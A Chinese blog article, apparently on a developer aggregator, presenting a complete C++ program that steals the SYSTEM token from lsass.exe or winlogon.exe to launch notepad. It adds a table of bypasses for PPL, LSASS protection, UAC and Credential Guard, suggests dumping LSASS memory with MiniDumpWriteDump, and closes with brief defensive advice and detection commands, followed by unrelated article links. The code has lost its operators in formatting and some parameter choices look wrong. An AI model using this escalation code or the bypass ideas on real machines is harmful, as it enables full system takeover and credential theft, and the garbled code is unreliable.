Windows 进程令牌窃取实战:从 lsass.exe 获取 System 权限运行记事本(附 C++ 源码)

发布时间:2026/9/14 10:20:15

Windows 进程令牌窃取实战:从 lsass.exe 获取 System 权限运行记事本(附 C++ 源码) Windows 系统权限提升技术深度解析从进程令牌操作到安全防御实践在Windows系统安全领域权限管理始终是攻防对抗的核心战场。掌握系统级权限不仅意味着对操作系统的完全控制更是安全研究人员进行漏洞分析、渗透测试的必备技能。本文将深入探讨Windows环境下通过进程令牌操作实现权限提升的技术细节提供可落地的C实现方案并分析现代系统对此类技术的防御机制。1. Windows权限体系基础与提权原理Windows操作系统采用基于令牌(Token)的权限管理体系每个进程运行时都关联一个安全令牌决定了该进程能够访问哪些系统资源。系统关键进程如lsass.exe本地安全认证子系统服务通常以SYSTEM权限运行——这是Windows中最高级别的权限甚至超过管理员账户。令牌窃取提权的核心逻辑在于获取高权限进程句柄复制其安全令牌利用复制的令牌创建新进程这种技术之所以有效是因为Windows允许具有足够权限的进程访问其他进程的令牌信息。关键在于获取SeDebugPrivilege特权该特权默认授予管理员用户允许调试其他用户空间的进程。// 获取SeDebugPrivilege的典型代码片段 HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid); tp.PrivilegeCount 1; tp.Privileges[0].Luid luid; tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(tp), NULL, NULL);2. 实战通过LSASS进程令牌获取SYSTEM权限2.1 目标进程选择与枚举并非所有系统进程都适合作为令牌来源。理想的候选进程应满足始终以SYSTEM权限运行允许PROCESS_QUERY_INFORMATION访问系统关键性较低避免导致系统不稳定通过进程快照API枚举符合条件的进程DWORD FindSystemProcess() { PROCESSENTRY32 pe; pe.dwSize sizeof(PROCESSENTRY32); HANDLE hSnapshot CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(Process32First(hSnapshot, pe)) { do { if(_wcsicmp(pe.szExeFile, Llsass.exe) 0 || _wcsicmp(pe.szExeFile, Lwinlogon.exe) 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while(Process32Next(hSnapshot, pe)); } CloseHandle(hSnapshot); return 0; }2.2 令牌复制与进程创建关键技术成功获取目标进程句柄后关键步骤包括令牌复制使用DuplicateTokenEx复制主令牌进程创建CreateProcessWithTokenW允许指定令牌创建进程HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); HANDLE hToken; OpenProcessToken(hProcess, TOKEN_DUPLICATE, hToken); HANDLE hNewToken; DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, hNewToken); STARTUPINFOW si {0}; PROCESS_INFORMATION pi {0}; si.cb sizeof(STARTUPINFOW); si.lpDesktop Lwinsta0\\default; // 指定窗口站 CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, Lnotepad.exe, 0, NULL, NULL, si, pi);注意CreateProcessAsUser需要额外的特权而CreateProcessWithTokenW在获取令牌后可直接使用这是实际开发中的重要区别。3. 完整实现代码与关键参数解析以下是完整的提权实现代码包含详细的错误处理和参数说明#include windows.h #include tlhelp32.h #include stdio.h BOOL EnableDebugPrivilege() { HANDLE hToken; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, hToken)) return FALSE; LUID luid; if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, luid)) { CloseHandle(hToken); return FALSE; } TOKEN_PRIVILEGES tp; tp.PrivilegeCount 1; tp.Privileges[0].Luid luid; tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(tp), NULL, NULL)) { CloseHandle(hToken); return FALSE; } CloseHandle(hToken); return TRUE; } DWORD FindSystemProcess() { PROCESSENTRY32 pe; pe.dwSize sizeof(PROCESSENTRY32); HANDLE hSnapshot CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(!Process32First(hSnapshot, pe)) { CloseHandle(hSnapshot); return 0; } do { if(_wcsicmp(pe.szExeFile, Llsass.exe) 0 || _wcsicmp(pe.szExeFile, Lwinlogon.exe) 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } } while(Process32Next(hSnapshot, pe)); CloseHandle(hSnapshot); return 0; } int main() { if(!EnableDebugPrivilege()) { printf([!] Failed to enable SeDebugPrivilege\n); return 1; } DWORD pid FindSystemProcess(); if(pid 0) { printf([!] Could not find suitable system process\n); return 1; } HANDLE hProcess OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!hProcess) { printf([!] OpenProcess failed (%d)\n, GetLastError()); return 1; } HANDLE hToken; if(!OpenProcessToken(hProcess, TOKEN_DUPLICATE, hToken)) { printf([!] OpenProcessToken failed (%d)\n, GetLastError()); CloseHandle(hProcess); return 1; } HANDLE hNewToken; if(!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, hNewToken)) { printf([!] DuplicateTokenEx failed (%d)\n, GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } STARTUPINFOW si {0}; PROCESS_INFORMATION pi {0}; si.cb sizeof(STARTUPINFOW); si.lpDesktop Lwinsta0\\default; if(!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, NULL, Lnotepad.exe, 0, NULL, NULL, si, pi)) { printf([!] CreateProcessWithTokenW failed (%d)\n, GetLastError()); } else { printf([] Successfully created process with SYSTEM token\n); } CloseHandle(hNewToken); CloseHandle(hToken); CloseHandle(hProcess); return 0; }4. 现代系统防御机制与绕过思路随着Windows安全机制的不断强化传统的令牌窃取技术面临多重防护防御机制原理潜在绕过方法PPL(Protected Process Light)限制对关键进程的访问利用未受保护的进程或驱动漏洞LSASS保护防止内存读取和进程注入使用合法的API调用获取令牌UAC(User Account Control)限制管理员权限滥用通过COM提升或自动提升白名单Credential Guard隔离凭据存储寻找非Credential Guard保护的令牌源实际测试中发现Windows 10 1809及更高版本默认启用LSASS保护直接打开lsass.exe进程会失败。此时可考虑以下替代方案使用MiniDumpWriteDump生成转储文件后离线提取令牌信息寻找其他未受PPL保护的系统进程如某些服务进程利用已知漏洞暂时禁用保护机制5. 安全开发实践与防御建议对于防御方建议采取以下措施防范令牌窃取攻击最小权限原则服务账户仅授予必要权限启用PPL保护关键系统进程令牌过滤通过组策略限制令牌权限监控敏感API调用如DuplicateTokenEx、CreateProcessWithTokenW等对于安全研究人员在合法授权测试时应注意# 防御性检测命令示例 Get-Process -IncludeUserName | Where-Object { $_.ProcessName -in (lsass,winlogon) -and $_.UserName -notlike *SYSTEM* } # 启用LSASS保护 reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 /f令牌操作技术在系统管理、安全测试等场景具有实际价值。我曾在一个企业环境中使用类似技术帮助恢复被恶意软件破坏的系统服务关键在于理解原理后的创造性应用。
延伸阅读

更多相关文章

2026/9/13 0:54:40

15分钟搞定黑苹果:OpCore-Simplify图形化配置终极指南

15分钟搞定黑苹果:OpCore-Simplify图形化配置终极指南 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 还在为复杂的黑苹果配置而烦恼吗&am…

2026/9/11 19:23:51

Eye-in-hand 与 Eye-to-hand 标定对比:3 大核心差异与 5 步选型决策指南

Eye-in-hand 与 Eye-to-hand 标定对比:3 大核心差异与 5 步选型决策指南 在工业自动化领域,机器人视觉系统的精度直接决定了整个生产流程的可靠性与效率。作为连接机械臂与视觉传感器的关键技术,手眼标定的方案选择往往成为项目初期最关键的决…

2026/9/14 10:19:24

UNIHIKER便携录音机:Python+Flask嵌入式音频终端设计

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 10:19:24

用Azure Functions和Telegram Bot实现零成本消息推送告警通知

最近陆陆续续有朋友问我同一个问题:怎么把自己系统里的告警、定时任务结果、交易动态这些信息,第一时间推到手机上。我的答案一直很固定,用 Telegram Bot 配合 Azure Functions。这个组合几乎零成本,不需要单独买一台服务器跑常驻…

2026/9/14 10:19:24

FP0R系列PLC在SSD精密组装中的多轴同步控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 10:19:24

Android车载串口开发实战:从UART/RS232/RS485到数据解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 10:19:24

小米18 Fold:折叠屏的物理极限与形态自适应OS

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/9/14 2:17:50

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述:一台黑屏的拯救者Y7000,到底卡在哪一步? 联想拯救者Y7000系列笔记本,从2018年第一代搭载i5-8300H开始,到后来的i7-9750H、i7-10750H、i5-11400H,再到2023年款的R7-7840HS,它始终是学…

2026/9/14 0:03:22

KCF目标跟踪算法与OTB工程实现:毕业设计实战解析

简介:这是一份基于KCF核相关滤波算法、融合尺度池与抗遮挡处理的目标检测跟踪MATLAB完整源码,主要面向计算机相关专业准备毕业设计、课程设计或期末大作业的学生,也适合需要项目实战练习的初学者。源码在OTB数据集上完成验证,能够…

2026/9/14 0:03:22

语音情感识别实战:Keras实现LSTM、CNN、SVM与MLP多模型对比

简介:面向语音情感识别入门与进阶开发者,这份基于Keras的项目源码完整实现了LSTM、CNN、SVM、MLP四种模型,兼容Python3.8与Keras/TensorFlow2环境。压缩包内含49个文件,大小约70.31MB,主体包括Python脚本、yaml/json配…

2026/9/12 6:29:36

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/12 14:32:17

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/13 11:18:28

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码